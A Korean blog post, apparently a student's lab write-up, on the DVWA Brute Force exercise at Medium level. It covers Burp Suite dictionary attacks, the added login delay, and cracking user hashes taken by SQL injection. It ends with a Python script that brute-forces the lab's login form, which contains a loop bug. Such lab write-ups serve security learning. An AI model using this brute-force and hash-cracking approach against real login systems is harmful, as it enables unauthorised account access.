본문 바로가기
해킹/DVWA

DVWA 실습 1. Brute Force (Medium)

by yenua 2022. 5. 24.
반응형
Objective
Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!

어드민 계정의 비밀번호를 찾는 것이 목표이다. 다른 4명의 유저에 대한 계정도 찾아보는 것이 추가 목표이다.

 

이번에도 burp suite intruder 기능을 이용하여 사전 공격을 진행하였다.

자세한 내용은 아래와 동일하다.

2022.05.18 - [해킹/DVWA] - DVWA 실습 1. Brute Force (Low)

 

Low와 동일하게 admin/password가 ID/PW였다.

 

Low와 무엇이 달라진 것인지 모르겠어서, 설명서를 참고하였다.

Low Level
The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.

Medium Level
This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.
This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.

이번에는 Low와 다르게 로그인에 실패했을 때, 서버에서 2초간 지연시간 후, 응답을 해주게 된다. 2초라고 하니 짧은 것 같지만, 1번 시도 시 2초라는 시간이 추가적으로 들어가게 된다는 것은 꽤 크다. 일반적인 브루트 포스에서는 글자 하나하나 전부 시도해보아야 하기 때문에 소요되는 시간 자체가 어마어마하게 길어지게 될 것이다. 현재 내가 가지고 있는 빈약한 사전을 가지고 공격이 가능한 모든 경우의 수만 해도 11,340 번이고, RTT를 제외하더라도 각 2초면 22,680초, 분으로 바꾸면 378초, 시간으로 바꾸면 6.3시간이 들어간다.  그렇다고는 해도, 공격이 불가능한 것은 아니므로 그리 좋은 방법은 아닌 것 같다.

 

다른 유저 계정은, 저번에 SQL 인젝션으로 어떤 계정이 있는가를 찾아본 것을 조금 수정하여, id, password를 조회해 보았는데, pw는 암호화가 되어있는 것 같긴한데, 일단 id만 봐도 내가 가지고 있는 사전으로는 택도 없어보인다.

그래도 전부 알파벳 대소문자로만 구성이 되어있고, 길이도 그리 긴게 아니라서, 시간만 들인다면 뚫을 수 있을 것 같기는 해 보인다.

간단한 문구 같은 경우에는 해시를 풀 수 있는데, https://crackstation.net/ 이 사이트에서 평문을 찾을 수 있다. 결과는 다음과 같다.

 

burp suite에서도 일반적인 무차별 대입 공격을 지원하지만, 프로 버전이 아니면, 프로그램 자체적으로 속도에 제한이 있기 때문에 파이썬으로 시도해보고자 한다.

 

import requests
import time
from itertools import product

URL="http://192.168.0.101/vulnerabilities/brute/"

#세션 아이디는 본인에 맞춰 수정
cookies = {'PHPSESSID': 'u0sstti8su6ihe8el26fv1n62k',
           'security': 'low'}

params = {'username':'',
          'password':'',
          'Login':'Login'}

#char_list = 'abcdefghijklmnopqrstuvwxyz1234567890'
char_list = 'abcdefghijklmnopqrstuvwxyz'

start = time.time()
for len1 in range(5, 6): #(1, 10)
    print("Trying ID length: {}...".format(len1))
    to_attempt = product(char_list, repeat=len1)
    for attempt in to_attempt:
        userid = ''.join(attempt)
        for len2 in range(7, 8): #(1,10)
            print("  Trying PW length: {}...".format(len2))
            to_attempt = product(char_list, repeat=len2)
            for attempt in to_attempt:
                password = ''.join(attempt)
            params['username'] = userid
            params['password'] = password

            res = requests.get(URL, params=params, cookies=cookies)
            if "Welcome to the password protected area" in res.text:
                print("Password found!: {} : {}".format(userid, password))
                end = time.time()
                print(end - start)
                break

위의 코드로 돌렸는데.. 3시간 쯤 돌렸으나 5자리 길이의 ID 8개에 대해서 7자리의 PW 경우의 수를 돌려본 것이 다였다.. 테스트를 위해 low로 돌렸음에도 이렇게 오래 걸린 것을 보면, medium에서는 훨씬 더 오래걸렸을 것이라 생각된다.

 

참고자료

https://haruhiism.tistory.com/98   DVWA bruteforce medium 사전 공격

https://ruinick.tistory.com/13   파이썬 brute force 문자열 생성(product 이용)

https://hinos.tistory.com/94   파이썬 순열, 조합(product 설명)

 

 

 

반응형